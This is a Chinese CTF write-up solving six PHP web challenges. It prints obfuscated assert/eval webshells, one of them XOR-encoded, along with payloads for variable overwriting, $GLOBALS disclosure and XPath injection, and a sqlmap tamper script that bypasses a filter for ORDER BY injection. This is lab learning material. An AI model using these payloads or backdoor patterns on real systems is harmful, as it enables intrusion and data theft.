01 50
题目链接
http://47.100.121.220:28001/01.php
解答
题目又是大写又是小写的,格式乱乱的,强迫症患了。
整理下代码如下:
1 2 3 4 5 6 7 8 9 10 11
| <?php show_source(__file__); highlight_file('about.php'); ?> <?php $k=str_replace('`','','a`s`s`e`r`t'); $m=$_POST[m]; if($m==null) header('status:404'); else/**/ $k($m); ?>
|
这里的highlight_file在这里的作用就是读取文件代码的,下面是about.php的源码
看about的源码这里可以看出m的值为assert
最后的就相当于执行\$assert(\$m),assert()执行代码。
传入system()函数来读取文件即可。

02 50
题目链接
http://47.100.121.220:28002/02.php
解答
1 2 3 4 5 6 7 8 9
| <?php show_source(__FILE__); highlight_file('about.php'); ?> <?php $YT="\x61\x73\x73\x65\x72\x74"; $TH="\x80\xD3\xCB\x85\x9E\xB4\xB7\xCF\xD8\xBB\xCB\xCC\xD8\xE7\xA3\xD9\xC2\xBE\xAC"; $TU="\xE5\xA5\xAA\xE9\xB6\x90\xE8\x9F\x97\xE8\x9F\x97\xE8\x9F\x97\xE8\x9F\x97\x97"; @$YT($TH^$TU); ?>
|
这个题目也有highlight_file函数也是用来读about的源码
这里我们可以直接测试输出这三个变量
1 2 3 4 5 6 7
| <?php $YT="\x61\x73\x73\x65\x72\x74"; $TH="\x80\xD3\xCB\x85\x9E\xB4\xB7\xCF\xD8\xBB\xCB\xCC\xD8\xE7\xA3\xD9\xC2\xBE\xAC"; $TU="\xE5\xA5\xAA\xE9\xB6\x90\xE8\x9F\x97\xE8\x9F\x97\xE8\x9F\x97\xE8\x9F\x97\x97"; echo $YT; echo $TH^$TU; ?>
|
代码运行得到
\$YT=assert
\$TH^\$TUeval($_POST[0x41]);
0x41是十六进制数,表示的字符是大写字符A,A的ASCII码为65
这里我用A传参是穿不进去的,用0x41也不行。但是用65可以成功传参
同样传入system函数执行命令

gift 100
题目链接
http://47.100.121.220:28003/
解答
右键查看源码可以发现备份文件gift.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $flag='xxx'; extract($_GET); if(isset($gift)) { $content=trim(file_get_contents($flag)); if($gift==$content) { echo'flag{...}'; } else { echo'Oh..'; } } ?>
|
代码如上,这里考到一个变量覆盖的问题。
题目使用了extract(\$_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,然后再进行两个if 的条件判断,所以可以使用GET提交参数和值,利用extract()对变量进行覆盖,从而满足各个条件。
GET请求 ?flag=\&gift=,extract()会将\$flag和\$gift的值覆盖了,将变量的值设置为空或者不存在的文件就满足\$gift == \$content。
payload
1
| http://47.100.121.220:28003/gift.php?flag=&gift=
|
variable 100
题目链接
http://47.100.121.220:28004
解答
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); include "flag.php";
$s = "You can not get the flag!</br>"; echo $s;
show_source(__FILE__);
if(isset($_GET['a'])) { $args = $_GET['a']; if(!preg_match("/^\w+$/",$args)) { die("error!"); } eval("var_dump($$args);"); } ?>
|
看代码可以看出我们需要去读flag.php里的变量flag,
这里变量可以用\$\$这种方式来传入我们的变量a通过var_dump函数来读取
传入flag是行不通的,flag.php中的存有flag的变量名并不是flag。
但是我们可以传入GLOBALS
\$GLOBALS是PHP中的全局变量,用来储存全局作用域中的变量
所以payload如下,得到flag
1
| http://47.100.121.220:28004/04.php?a=GLOBALS
|
price 100
题目链接
http://47.100.121.220:28005
解答
这个题目纠结了很久,对order by 注入是不熟悉的,这里我找到了一篇关于order by注入的文章
Mysql Order By 注入总结
但是这里看的还是有些不懂的,不知道具体怎么去读取数据库的flag。
从文章里看出order by 注入是可以直接用sqlmap来跑的
但是测试可以发现,题目过滤空格和加号的,但是我还是不想手注,
想用sqlmap只能直接写个tamper了,tamper原来里面是有把空格变换成加号的脚本的。
但是这里加号也是过滤了的,我们只需要把tamper里的space2plus.py修改一下即可。
这里我们可以用%09来绕过
tamper 代码具体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| #!/usr/bin/env python from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies(): pass
def tamper(payload, **kwargs): retVal = payload
if payload: retVal = "" quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "%09" continue
elif payload[i] == '\'': quote = not quote
elif payload[i] == '"': doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote: retVal += "%09" continue
retVal += payload[i]
return retVal
|
这里我们用这个脚本就能跑sqlmap了

hello 100
题目链接
http://47.100.121.220:28006
解答
这个题拿到手是没有什么思路的,
但是做题之前之前习惯用burpsuit抓个包,利用scan扫一下的。
发现提示存在xpath注入

这里的payload还爆出了三个类似用户名的信息
这个是HCTF 2015的一个原题,题目的把用户名改了
但是burpsuit已经帮我爆出了用户名。
修改下writeup的payload就可以得到flag了
具体的等考完试,看看xpath注入的内容结合题目源码去理解原理。
payload
1
| http://47.100.121.220:28006/06.php?name=nari%27]|//*|user[user=%27ctfer
|